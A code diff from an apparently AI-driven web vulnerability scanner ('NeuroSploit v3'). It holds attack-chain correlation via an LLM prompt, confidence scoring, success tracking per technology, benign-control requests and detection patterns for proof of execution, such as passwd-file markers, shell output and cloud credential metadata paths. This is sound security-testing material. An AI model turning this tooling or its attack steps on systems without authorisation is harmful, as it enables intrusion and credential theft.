# \u2500\u2500\u2500 AI Correlation \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
|
||||
|
||||
async def ai_correlate(self, findings: List[Any], llm=None) -> List[Dict]:
|
||||
"""AI-driven correlation of multiple findings into attack chains.
|
||||
|
||||
Analyzes all findings together to identify multi-step attack scenarios.
|
||||
"""
|
||||
llm = llm or self.llm
|
||||
if not llm or not hasattr(llm, "generate"):
|
||||
return []
|
||||
|
||||
if len(findings) < 2:
|
||||
return []
|
||||
|
||||
try:
|
||||
findings_summary = []
|
||||
for f in findings[:20]:
|
||||
findings_summary.append(
|
||||
f"- {getattr(f, 'vulnerability_type', '?')}: "
|
||||
f"{getattr(f, 'url', '?')} "
|
||||
f"(param: {getattr(f, 'parameter', '?')}, "
|
||||
f"confidence: {getattr(f, 'confidence_score', '?')})"
|
||||
)
|
||||
|
||||
prompt = f"""Analyze these confirmed vulnerability findings for potential exploit chains.
|
||||
|
||||
FINDINGS:
|
||||
{chr(10).join(findings_summary)}
|
||||
|
||||
For each chain you identify, describe:
|
||||
1. The attack scenario (2-3 sentences)
|
||||
2. Which findings are linked
|
||||
3. The impact if chained together
|
||||
4. Priority (critical/high/medium)
|
||||
|
||||
Return ONLY realistic chains where one finding directly enables or amplifies another.
|
||||
If no meaningful chains exist, say "No chains identified."
|
||||
Format each chain as: CHAIN: [scenario] | FINDINGS: [types] | IMPACT: [impact] | PRIORITY: [level]"""
|
||||
|
||||
result = await llm.generate(prompt)
|
||||
if not result:
|
||||
return []
|
||||
|
||||
# Parse chains
|
||||
chains = []
|
||||
for line in result.strip().split("\n"):
|
||||
if line.startswith("CHAIN:"):
|
||||
parts = line.split("|")
|
||||
chain = {
|
||||
"scenario": parts[0].replace("CHAIN:", "").strip() if len(parts) > 0 else "",
|
||||
"findings": parts[1].replace("FINDINGS:", "").strip() if len(parts) > 1 else "",
|
||||
"impact": parts[2].replace("IMPACT:", "").strip() if len(parts) > 2 else "",
|
||||
"priority": parts[3].replace("PRIORITY:", "").strip() if len(parts) > 3 else "medium",
|
||||
}
|
||||
chains.append(chain)
|
||||
|
||||
return chains
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(f"AI chain correlation failed: {e}")
|
||||
return []
|
||||
|
||||
# \u2500\u2500\u2500 Reporting \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
|
||||
|
||||
def get_attack_graph(self) -> Dict[str, List[str]]:
|
||||
"""Get the attack chain graph."""
|
||||
return dict(self._chain_graph)
|
||||
|
||||
def get_chain_stats(self) -> Dict:
|
||||
"""Get chain statistics for reporting."""
|
||||
return {
|
||||
"total_chains_generated": self._total_chains,
|
||||
"graph_nodes": len(self._chain_graph),
|
||||
"chain_findings": len(self._chain_findings),
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
"""
|
||||
NeuroSploit v3 - Confidence Scoring Engine
|
||||
|
||||
Numeric 0-100 confidence scoring for vulnerability findings.
|
||||
Combines proof of execution, negative control results, and signal analysis
|
||||
into a single score with transparent breakdown.
|
||||
|
||||
Score Thresholds:
|
||||
>= 90 → "confirmed" (AI Verified, high confidence)
|
||||
>= 60 → "likely" (needs manual review)
|
||||
< 60 → "rejected" (auto-reject, false positive)
|
||||
"""
|
||||
|
||||
import logging
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Dict, List, Optional
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Result types
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@dataclass
|
||||
class ConfidenceResult:
|
||||
"""Result of confidence scoring."""
|
||||
score: int # 0-100
|
||||
verdict: str # "confirmed" | "likely" | "rejected"
|
||||
breakdown: Dict[str, int] = field(default_factory=dict) # Component scores
|
||||
detail: str = "" # Human-readable explanation
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Scorer
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class ConfidenceScorer:
|
||||
"""Calculates numeric confidence score 0-100 for vulnerability findings.
|
||||
|
||||
Weights:
|
||||
+0-60 Proof of execution (per vuln type — the most important signal)
|
||||
+0-30 Proof of impact (severity-aware)
|
||||
+0-20 Negative controls passed (response differs from benign)
|
||||
-40 Only baseline diff signal (no actual proof of exploitation)
|
||||
-60 Same behavior on negative controls (critical false positive indicator)
|
||||
-40 AI interpretation says payload was ineffective
|
||||
"""
|
||||
|
||||
# Threshold constants
|
||||
THRESHOLD_CONFIRMED = 90
|
||||
THRESHOLD_LIKELY = 60
|
||||
|
||||
# Weight caps
|
||||
MAX_PROOF_SCORE = 60
|
||||
MAX_IMPACT_SCORE = 30
|
||||
MAX_CONTROLS_BONUS = 20
|
||||
PENALTY_ONLY_DIFF = -40
|
||||
PENALTY_SAME_BEHAVIOR = -60
|
||||
PENALTY_AI_INEFFECTIVE = -40
|
||||
|
||||
# Keywords in AI interpretation that indicate payload was ineffective
|
||||
INEFFECTIVE_KEYWORDS = [
|
||||
"ignored", "not processed", "blocked", "filtered",
|
||||
"sanitized", "rejected", "not executed", "was not",
|
||||
"does not", "did not", "no effect", "no impact",
|
||||
"benign", "safe", "harmless",
|
||||
]
|
||||
|
||||
def calculate(
|
||||
self,
|
||||
signals: List[str],
|
||||
proof_result, # ProofResult from proof_of_execution
|
||||
control_result, # NegativeControlResult from negative_control
|
||||
ai_interpretation: Optional[str] = None,
|
||||
) -> ConfidenceResult:
|
||||
"""Calculate confidence score from all verification components.
|
||||
|
||||
Args:
|
||||
signals: List of signal names from multi_signal_verify
|
||||
(e.g., ["baseline_diff", "payload_effect"])
|
||||
proof_result: ProofResult from ProofOfExecution.check()
|
||||
control_result: NegativeControlResult from NegativeControlEngine
|
||||
ai_interpretation: Optional AI response interpretation text
|
||||
|
||||
Returns:
|
||||
ConfidenceResult with score, verdict, breakdown, and detail
|
||||
"""
|
||||
breakdown: Dict[str, int] = {}
|
||||
score = 0
|
||||
|
||||
# ── Component 1: Proof of Execution (0-60) ────────────────────
|
||||
proof_score = min(proof_result.score, self.MAX_PROOF_SCORE) if proof_result else 0
|
||||
score += proof_score
|
||||
breakdown["proof_of_execution"] = proof_score
|
||||
|
||||
# ── Component 2: Proof of Impact (0-30) ───────────────────────
|
||||
impact_score = 0
|
||||
if proof_result and proof_result.proven:
|
||||
if proof_result.impact_demonstrated:
|
||||
impact_score = self.MAX_IMPACT_SCORE # Full impact shown
|
||||
else:
|
||||
impact_score = 15 # Proven but no impact demonstration
|
||||
score += impact_score
|
||||
breakdown["proof_of_impact"] = impact_score
|
||||
|
||||
# ── Component 3: Negative Controls (bonus/penalty) ─────────────
|
||||
controls_score = 0
|
||||
if control_result:
|
||||
if control_result.same_behavior:
|
||||
controls_score = self.PENALTY_SAME_BEHAVIOR # -60
|
||||
else:
|
||||
controls_score = min(
|
||||
self.MAX_CONTROLS_BONUS,
|
||||
control_result.confidence_adjustment
|
||||
) # +20
|
||||
score += controls_score
|
||||
breakdown["negative_controls"] = controls_score
|
||||
|
||||
# ── Penalty: Only baseline diff signal ─────────────────────────
|
||||
diff_penalty = 0
|
||||
if signals and set(signals) <= {"baseline_diff", "new_errors"}:
|
||||
# Only diff-based signals, no actual payload effect
|
||||
if proof_score == 0:
|
||||
diff_penalty = self.PENALTY_ONLY_DIFF # -40
|
||||
score += diff_penalty
|
||||
breakdown["diff_only_penalty"] = diff_penalty
|
||||
|
||||
# ── Penalty: AI says payload was ineffective ──────────────────
|
||||
ai_penalty = 0
|
||||
if ai_interpretation:
|
||||
ai_lower = ai_interpretation.lower()
|
||||
if any(kw in ai_lower for kw in self.INEFFECTIVE_KEYWORDS):
|
||||
ai_penalty = self.PENALTY_AI_INEFFECTIVE # -40
|
||||
score += ai_penalty
|
||||
breakdown["ai_ineffective_penalty"] = ai_penalty
|
||||
|
||||
# ── Clamp and determine verdict ────────────────────────────────
|
||||
score = max(0, min(100, score))
|
||||
|
||||
if score >= self.THRESHOLD_CONFIRMED:
|
||||
verdict = "confirmed"
|
||||
elif score >= self.THRESHOLD_LIKELY:
|
||||
verdict = "likely"
|
||||
else:
|
||||
verdict = "rejected"
|
||||
|
||||
# Build detail string
|
||||
detail_parts = []
|
||||
if proof_result and proof_result.proven:
|
||||
detail_parts.append(f"Proof: {proof_result.proof_type} ({proof_score}pts)")
|
||||
else:
|
||||
detail_parts.append("No proof of execution (0pts)")
|
||||
|
||||
if impact_score > 0:
|
||||
detail_parts.append(f"Impact: +{impact_score}pts")
|
||||
|
||||
if control_result:
|
||||
if control_result.same_behavior:
|
||||
detail_parts.append(
|
||||
f"NEGATIVE CONTROL FAIL: {control_result.controls_matching}/"
|
||||
f"{control_result.controls_run} same behavior ({controls_score}pts)")
|
||||
else:
|
||||
detail_parts.append(f"Controls passed (+{controls_score}pts)")
|
||||
|
||||
if diff_penalty:
|
||||
detail_parts.append(f"Only-diff penalty ({diff_penalty}pts)")
|
||||
|
||||
if ai_penalty:
|
||||
detail_parts.append(f"AI-ineffective penalty ({ai_penalty}pts)")
|
||||
|
||||
detail = f"Score: {score}/100 [{verdict}] — " + "; ".join(detail_parts)
|
||||
|
||||
return ConfidenceResult(
|
||||
score=score,
|
||||
verdict=verdict,
|
||||
breakdown=breakdown,
|
||||
detail=detail,
|
||||
)
|
||||
@@ -0,0 +1,159 @@
|
||||
"""
|
||||
NeuroSploit v3 - Execution History
|
||||
|
||||
Tracks attack success/failure patterns across scans to learn what works.
|
||||
Records technology-to-vulnerability-type mappings with success rates.
|
||||
Used by the AI to prioritize tests based on historical data.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional
|
||||
from collections import defaultdict
|
||||
from urllib.parse import urlparse
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ExecutionHistory:
|
||||
"""Tracks which attacks work against which technologies across scans."""
|
||||
|
||||
MAX_ATTACKS = 500 # Keep last N attack records
|
||||
|
||||
def __init__(self, history_file: str = "data/execution_history.json"):
|
||||
self.history_file = Path(history_file)
|
||||
self._attacks: List[Dict] = []
|
||||
# tech_lower -> vuln_type -> {"success": int, "fail": int}
|
||||
self._tech_success: Dict[str, Dict[str, Dict[str, int]]] = {}
|
||||
self._dirty = False
|
||||
self._load()
|
||||
|
||||
def _load(self):
|
||||
"""Load execution history from disk."""
|
||||
if not self.history_file.exists():
|
||||
return
|
||||
try:
|
||||
data = json.loads(self.history_file.read_text())
|
||||
self._attacks = data.get("attacks", [])
|
||||
for tech, vulns in data.get("tech_success", {}).items():
|
||||
self._tech_success[tech] = {}
|
||||
for vuln, counts in vulns.items():
|
||||
self._tech_success[tech][vuln] = {
|
||||
"success": counts.get("success", 0),
|
||||
"fail": counts.get("fail", 0),
|
||||
}
|
||||
logger.info(f"Loaded execution history: {len(self._attacks)} attacks, "
|
||||
f"{len(self._tech_success)} technologies tracked")
|
||||
except Exception as e:
|
||||
logger.warning(f"Failed to load execution history: {e}")
|
||||
|
||||
def _save(self):
|
||||
"""Persist execution history to disk."""
|
||||
try:
|
||||
self.history_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
self.history_file.write_text(json.dumps({
|
||||
"attacks": self._attacks[-self.MAX_ATTACKS:],
|
||||
"tech_success": self._tech_success,
|
||||
"saved_at": datetime.utcnow().isoformat(),
|
||||
}, indent=2, default=str))
|
||||
self._dirty = False
|
||||
except Exception as e:
|
||||
logger.warning(f"Failed to save execution history: {e}")
|
||||
|
||||
def record(self, tech_stack: List[str], vuln_type: str,
|
||||
target: str, success: bool, evidence: str = ""):
|
||||
"""Record an attack attempt result."""
|
||||
if not vuln_type:
|
||||
return
|
||||
|
||||
# Record the individual attack
|
||||
try:
|
||||
domain = urlparse(target).netloc if target else ""
|
||||
except Exception:
|
||||
domain = ""
|
||||
|
||||
self._attacks.append({
|
||||
"tech": [t[:50] for t in tech_stack[:5]],
|
||||
"vuln_type": vuln_type,
|
||||
"target_domain": domain,
|
||||
"success": success,
|
||||
"evidence_preview": (evidence or "")[:100],
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
})
|
||||
|
||||
# Update aggregated tech_success counters
|
||||
key = "success" if success else "fail"
|
||||
for tech in tech_stack[:5]:
|
||||
tech_lower = tech.lower().strip()
|
||||
if not tech_lower:
|
||||
continue
|
||||
if tech_lower not in self._tech_success:
|
||||
self._tech_success[tech_lower] = {}
|
||||
if vuln_type not in self._tech_success[tech_lower]:
|
||||
self._tech_success[tech_lower][vuln_type] = {"success": 0, "fail": 0}
|
||||
self._tech_success[tech_lower][vuln_type][key] += 1
|
||||
|
||||
# Auto-save periodically (every 20 records)
|
||||
self._dirty = True
|
||||
if len(self._attacks) % 20 == 0:
|
||||
self._save()
|
||||
|
||||
def flush(self):
|
||||
"""Force save if there are unsaved changes."""
|
||||
if self._dirty:
|
||||
self._save()
|
||||
|
||||
def get_priority_types(self, tech_stack: List[str], top_n: int = 15) -> List[str]:
|
||||
"""Get vuln types most likely to succeed based on tech stack history."""
|
||||
scores: Dict[str, float] = defaultdict(float)
|
||||
|
||||
for tech in tech_stack:
|
||||
tech_lower = tech.lower().strip()
|
||||
if tech_lower not in self._tech_success:
|
||||
continue
|
||||
for vuln_type, counts in self._tech_success[tech_lower].items():
|
||||
total = counts.get("success", 0) + counts.get("fail", 0)
|
||||
if total < 2:
|
||||
continue # Need at least 2 data points
|
||||
rate = counts.get("success", 0) / total
|
||||
# Weight by both success rate and volume
|
||||
scores[vuln_type] += rate * total
|
||||
|
||||
sorted_types = sorted(scores.items(), key=lambda x: x[1], reverse=True)
|
||||
return [t[0] for t in sorted_types[:top_n]]
|
||||
|
||||
def get_stats_for_prompt(self, tech_stack: List[str]) -> str:
|
||||
"""Format execution history as context for AI prompts."""
|
||||
lines = []
|
||||
for tech in tech_stack[:5]:
|
||||
tech_lower = tech.lower().strip()
|
||||
if tech_lower not in self._tech_success:
|
||||
continue
|
||||
vulns = self._tech_success[tech_lower]
|
||||
top = sorted(
|
||||
vulns.items(),
|
||||
key=lambda x: x[1].get("success", 0),
|
||||
reverse=True
|
||||
)[:5]
|
||||
if top:
|
||||
entries = []
|
||||
for v, c in top:
|
||||
s = c.get("success", 0)
|
||||
total = s + c.get("fail", 0)
|
||||
entries.append(f"{v}({s}/{total})")
|
||||
lines.append(f" {tech}: {', '.join(entries)}")
|
||||
|
||||
return "\n".join(lines) if lines else " No historical data yet"
|
||||
|
||||
def get_total_attacks(self) -> int:
|
||||
"""Get total number of recorded attacks."""
|
||||
return len(self._attacks)
|
||||
|
||||
def get_success_rate(self) -> float:
|
||||
"""Get overall success rate."""
|
||||
if not self._attacks:
|
||||
return 0.0
|
||||
successes = sum(1 for a in self._attacks if a.get("success"))
|
||||
return successes / len(self._attacks)
|
||||
@@ -0,0 +1,321 @@
|
||||
"""
|
||||
NeuroSploit v3 - Negative Control Engine
|
||||
|
||||
Sends benign/control payloads and compares responses to detect false positives
|
||||
from same-behavior patterns. If the application responds the same way to a
|
||||
benign value as it does to an attack payload, the finding is likely a false positive.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import logging
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Callable, Dict, List, Optional, Tuple, Any
|
||||
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Result types
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@dataclass
|
||||
class ControlTestResult:
|
||||
"""Result of a single control test."""
|
||||
control_type: str # "benign", "empty", "no_param"
|
||||
control_value: str # The control payload used
|
||||
status_match: bool # Did status code match attack response?
|
||||
length_similar: bool # Body length within threshold?
|
||||
hash_match: bool # Exact body match?
|
||||
same_behavior: bool # Overall: does this control look the same?
|
||||
detail: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class NegativeControlResult:
|
||||
"""Aggregated result of all negative control tests."""
|
||||
same_behavior: bool # True if ANY control shows same behavior as attack
|
||||
controls_run: int # How many controls were executed
|
||||
controls_matching: int # How many showed same behavior
|
||||
confidence_adjustment: int # Penalty to apply (typically -60 if same_behavior)
|
||||
results: List[ControlTestResult] = field(default_factory=list)
|
||||
detail: str = ""
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Engine
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class NegativeControlEngine:
|
||||
"""Sends control payloads to detect false positives from same-behavior responses.
|
||||
|
||||
The key insight: if the application responds identically to "test123" and
|
||||
to "<script>alert(1)</script>", then the XSS payload was NOT processed —
|
||||
the application simply ignores or sanitizes the parameter entirely.
|
||||
"""
|
||||
|
||||
# Benign values that should NEVER trigger a vulnerability
|
||||
BENIGN_PAYLOADS: Dict[str, List[str]] = {
|
||||
# XSS: plain text, no special chars
|
||||
"xss_reflected": ["test123", "hello world"],
|
||||
"xss_stored": ["test123", "hello world"],
|
||||
"xss_dom": ["test123", "hello world"],
|
||||
"xss": ["test123", "hello world"],
|
||||
|
||||
# SQLi: normal numeric/text values
|
||||
"sqli": ["1", "test"],
|
||||
"sqli_error": ["1", "test"],
|
||||
"sqli_union": ["1", "test"],
|
||||
"sqli_blind": ["1", "test"],
|
||||
"sqli_time": ["1", "test"],
|
||||
|
||||
# SSRF: safe external URL or plain text
|
||||
"ssrf": ["https://www.example.com", "test"],
|
||||
"ssrf_cloud": ["https://www.example.com", "test"],
|
||||
|
||||
# LFI: safe existing page or plain text
|
||||
"lfi": ["index.html", "test.txt"],
|
||||
"path_traversal": ["index.html", "test.txt"],
|
||||
|
||||
# SSTI: plain text, no template syntax
|
||||
"ssti": ["hello", "12345"],
|
||||
|
||||
# RCE: plain text, no shell metacharacters
|
||||
"rce": ["test", "hello"],
|
||||
"command_injection": ["test", "hello"],
|
||||
|
||||
# Open redirect: safe internal URL
|
||||
"open_redirect": ["/", "/index.html"],
|
||||
|
||||
# CRLF: normal header value
|
||||
"crlf_injection": ["test-value", "normal"],
|
||||
"header_injection": ["test-value", "normal"],
|
||||
|
||||
# XXE: plain text (no XML entities)
|
||||
"xxe": ["test", "hello"],
|
||||
|
||||
# NoSQL: normal value
|
||||
"nosql_injection": ["test", "1"],
|
||||
|
||||
# Host header: normal hostname
|
||||
"host_header_injection": ["localhost", "example.com"],
|
||||
|
||||
# Default for any unlisted type
|
||||
"default": ["test123", "benign_value"],
|
||||
}
|
||||
|
||||
# Body length similarity threshold (percentage)
|
||||
LENGTH_THRESHOLD_PCT = 5.0 # Within 5% = "same"
|
||||
|
||||
async def run_controls(
|
||||
self,
|
||||
url: str,
|
||||
param: str,
|
||||
method: str,
|
||||
vuln_type: str,
|
||||
attack_response: Dict,
|
||||
make_request_fn: Callable,
|
||||
baseline: Optional[Dict] = None,
|
||||
injection_point: str = "parameter",
|
||||
) -> NegativeControlResult:
|
||||
"""Run negative control tests and compare with the attack response.
|
||||
|
||||
Args:
|
||||
url: Target URL
|
||||
param: Parameter name being tested
|
||||
method: HTTP method
|
||||
vuln_type: Vulnerability type
|
||||
attack_response: The response from the attack payload
|
||||
make_request_fn: Async function to make HTTP requests
|
||||
baseline: Optional baseline response
|
||||
injection_point: Where payload is injected (parameter, header, body, path)
|
||||
|
||||
Returns:
|
||||
NegativeControlResult with same_behavior flag and details
|
||||
"""
|
||||
results: List[ControlTestResult] = []
|
||||
controls_matching = 0
|
||||
|
||||
attack_status = attack_response.get("status", 0)
|
||||
attack_body = attack_response.get("body", "")
|
||||
attack_length = len(attack_body)
|
||||
attack_hash = hashlib.md5(
|
||||
attack_body.encode("utf-8", errors="replace")
|
||||
).hexdigest()
|
||||
|
||||
# Get benign payloads for this vuln type
|
||||
base_type = vuln_type.split("_")[0] if "_" in vuln_type else vuln_type
|
||||
benign_values = self.BENIGN_PAYLOADS.get(
|
||||
vuln_type,
|
||||
self.BENIGN_PAYLOADS.get(base_type, self.BENIGN_PAYLOADS["default"])
|
||||
)
|
||||
|
||||
# Control 1: Benign payload
|
||||
for benign in benign_values[:2]:
|
||||
try:
|
||||
control_resp = await self._send_control(
|
||||
url, param, method, benign, make_request_fn, injection_point
|
||||
)
|
||||
if control_resp:
|
||||
result = self._compare_responses(
|
||||
"benign", benign, attack_status, attack_length,
|
||||
attack_hash, control_resp
|
||||
)
|
||||
results.append(result)
|
||||
if result.same_behavior:
|
||||
controls_matching += 1
|
||||
except Exception as e:
|
||||
logger.debug(f"Negative control (benign) failed: {e}")
|
||||
|
||||
# Control 2: Empty value
|
||||
try:
|
||||
control_resp = await self._send_control(
|
||||
url, param, method, "", make_request_fn, injection_point
|
||||
)
|
||||
if control_resp:
|
||||
result = self._compare_responses(
|
||||
"empty", "", attack_status, attack_length,
|
||||
attack_hash, control_resp
|
||||
)
|
||||
results.append(result)
|
||||
if result.same_behavior:
|
||||
controls_matching += 1
|
||||
except Exception as e:
|
||||
logger.debug(f"Negative control (empty) failed: {e}")
|
||||
|
||||
# Control 3: Request without the parameter entirely (if applicable)
|
||||
if injection_point == "parameter" and param:
|
||||
try:
|
||||
control_resp = await self._send_without_param(
|
||||
url, param, method, make_request_fn
|
||||
)
|
||||
if control_resp:
|
||||
result = self._compare_responses(
|
||||
"no_param", "(omitted)", attack_status, attack_length,
|
||||
attack_hash, control_resp
|
||||
)
|
||||
results.append(result)
|
||||
if result.same_behavior:
|
||||
controls_matching += 1
|
||||
except Exception as e:
|
||||
logger.debug(f"Negative control (no_param) failed: {e}")
|
||||
|
||||
# Determine overall same_behavior
|
||||
controls_run = len(results)
|
||||
same_behavior = controls_matching > 0
|
||||
|
||||
# Build detail string
|
||||
if same_behavior:
|
||||
matching_types = [r.control_type for r in results if r.same_behavior]
|
||||
detail = (f"NEGATIVE CONTROL FAILED: {controls_matching}/{controls_run} "
|
||||
f"controls show same behavior as attack ({', '.join(matching_types)})")
|
||||
else:
|
||||
detail = f"Negative controls passed: 0/{controls_run} controls match attack response"
|
||||
|
||||
return NegativeControlResult(
|
||||
same_behavior=same_behavior,
|
||||
controls_run=controls_run,
|
||||
controls_matching=controls_matching,
|
||||
confidence_adjustment=-60 if same_behavior else 20,
|
||||
results=results,
|
||||
detail=detail,
|
||||
)
|
||||
|
||||
async def _send_control(
|
||||
self,
|
||||
url: str,
|
||||
param: str,
|
||||
method: str,
|
||||
value: str,
|
||||
make_request_fn: Callable,
|
||||
injection_point: str,
|
||||
) -> Optional[Dict]:
|
||||
"""Send a control request with the given value."""
|
||||
if injection_point == "parameter":
|
||||
return await make_request_fn(url, method, {param: value})
|
||||
elif injection_point == "header":
|
||||
# For header injection, we'd need to pass custom headers
|
||||
# Fall back to parameter injection for control testing
|
||||
return await make_request_fn(url, method, {param: value})
|
||||
elif injection_point == "path":
|
||||
# For path injection, append benign value to path
|
||||
parsed = urlparse(url)
|
||||
control_url = urlunparse(parsed._replace(
|
||||
path=parsed.path.rstrip("/") + "/" + value
|
||||
))
|
||||
return await make_request_fn(control_url, method, {})
|
||||
elif injection_point == "body":
|
||||
return await make_request_fn(url, method, {param: value})
|
||||
else:
|
||||
return await make_request_fn(url, method, {param: value})
|
||||
|
||||
async def _send_without_param(
|
||||
self,
|
||||
url: str,
|
||||
param: str,
|
||||
method: str,
|
||||
make_request_fn: Callable,
|
||||
) -> Optional[Dict]:
|
||||
"""Send request without the tested parameter."""
|
||||
# Strip the param from URL query string if present
|
||||
parsed = urlparse(url)
|
||||
if parsed.query:
|
||||
params = parse_qs(parsed.query, keep_blank_values=True)
|
||||
params.pop(param, None)
|
||||
new_query = urlencode(params, doseq=True)
|
||||
clean_url = urlunparse(parsed._replace(query=new_query))
|
||||
else:
|
||||
clean_url = url
|
||||
|
||||
return await make_request_fn(clean_url, method, {})
|
||||
|
||||
def _compare_responses(
|
||||
self,
|
||||
control_type: str,
|
||||
control_value: str,
|
||||
attack_status: int,
|
||||
attack_length: int,
|
||||
attack_hash: str,
|
||||
control_response: Dict,
|
||||
) -> ControlTestResult:
|
||||
"""Compare a control response against the attack response."""
|
||||
control_status = control_response.get("status", 0)
|
||||
control_body = control_response.get("body", "")
|
||||
control_length = len(control_body)
|
||||
control_hash = hashlib.md5(
|
||||
control_body.encode("utf-8", errors="replace")
|
||||
).hexdigest()
|
||||
|
||||
# Status code match
|
||||
status_match = (attack_status == control_status)
|
||||
|
||||
# Body hash exact match
|
||||
hash_match = (attack_hash == control_hash)
|
||||
|
||||
# Body length similarity
|
||||
if attack_length == 0 and control_length == 0:
|
||||
length_similar = True
|
||||
elif attack_length == 0 or control_length == 0:
|
||||
length_similar = False
|
||||
else:
|
||||
diff_pct = abs(attack_length - control_length) / max(attack_length, 1) * 100
|
||||
length_similar = diff_pct <= self.LENGTH_THRESHOLD_PCT
|
||||
|
||||
# Same behavior if status matches AND (exact hash match OR length similar)
|
||||
same_behavior = status_match and (hash_match or length_similar)
|
||||
|
||||
detail = (f"{control_type}('{control_value[:30]}'): "
|
||||
f"status {'=' if status_match else '!'}= {control_status}, "
|
||||
f"len {control_length} "
|
||||
f"({'same' if length_similar else 'different'} from {attack_length})"
|
||||
f"{', EXACT MATCH' if hash_match else ''}")
|
||||
|
||||
return ControlTestResult(
|
||||
control_type=control_type,
|
||||
control_value=control_value[:50],
|
||||
status_match=status_match,
|
||||
length_similar=length_similar,
|
||||
hash_match=hash_match,
|
||||
same_behavior=same_behavior,
|
||||
detail=detail,
|
||||
)
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,873 @@
|
||||
"""
|
||||
NeuroSploit v3 - Proof of Execution Framework
|
||||
|
||||
Per-vulnerability-type verification that a payload was actually PROCESSED
|
||||
by the application, not just reflected or ignored. Each vuln type has specific
|
||||
proof requirements — a finding without proof of execution scores 0.
|
||||
|
||||
This replaces the fragmented evidence checking in _cross_validate_ai_claim()
|
||||
and _strict_technical_verify() with a unified, per-type proof system.
|
||||
"""
|
||||
|
||||
import re
|
||||
import logging
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Shared patterns (from response_verifier.py)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
DB_ERROR_PATTERNS = [
|
||||
r"(?:sql|database|query)\s*(?:error|syntax|exception)",
|
||||
r"mysql_(?:fetch|query|num_rows|connect)",
|
||||
r"mysqli_",
|
||||
r"pg_(?:query|exec|prepare|connect)",
|
||||
r"sqlite3?\.\w+error",
|
||||
r"ora-\d{4,5}",
|
||||
r"mssql_query",
|
||||
r"sqlstate\[",
|
||||
r"odbc\s+driver",
|
||||
r"jdbc\s+exception",
|
||||
r"unclosed\s+quotation",
|
||||
r"you have an error in your sql",
|
||||
r"syntax error.*at line \d+",
|
||||
]
|
||||
|
||||
FILE_CONTENT_MARKERS = [
|
||||
"root:x:0:0:",
|
||||
"daemon:x:1:1:",
|
||||
"bin:x:2:2:",
|
||||
"www-data:",
|
||||
"[boot loader]",
|
||||
"[operating systems]",
|
||||
"[extensions]",
|
||||
]
|
||||
|
||||
COMMAND_OUTPUT_PATTERNS = [
|
||||
r"uid=\d+\(",
|
||||
r"gid=\d+\(",
|
||||
r"root:\w+:0:0:",
|
||||
r"/bin/(?:ba)?sh",
|
||||
r"Linux\s+\S+\s+\d+\.\d+",
|
||||
]
|
||||
|
||||
SSTI_EXPRESSIONS = {
|
||||
"7*7": "49",
|
||||
"7*'7'": "7777777",
|
||||
"3*3": "9",
|
||||
}
|
||||
|
||||
# Cloud metadata markers for SSRF
|
||||
SSRF_METADATA_MARKERS = [
|
||||
"ami-id", "ami-launch-index", "instance-id", "instance-type",
|
||||
"local-hostname", "local-ipv4", "public-hostname", "public-ipv4",
|
||||
"security-groups", "iam/info", "iam/security-credentials",
|
||||
"computeMetadata/v1", "metadata.google.internal",
|
||||
"169.254.169.254", # Only if actual metadata content follows
|
||||
]
|
||||
|
||||
# Internal content markers for SSRF
|
||||
SSRF_INTERNAL_MARKERS = [
|
||||
"root:x:0:0:", # /etc/passwd via SSRF
|
||||
"localhost", # Internal service response
|
||||
"127.0.0.1",
|
||||
"internal server",
|
||||
"private network",
|
||||
]
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Result type
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@dataclass
|
||||
class ProofResult:
|
||||
"""Result of proof-of-execution check."""
|
||||
proven: bool # Was execution proven?
|
||||
proof_type: str # Type of proof found (e.g., "db_error", "xss_auto_fire")
|
||||
detail: str # Human-readable description
|
||||
score: int # Confidence score contribution (0-60)
|
||||
impact_demonstrated: bool = False # Was impact beyond mere detection shown?
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Proof Engine
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
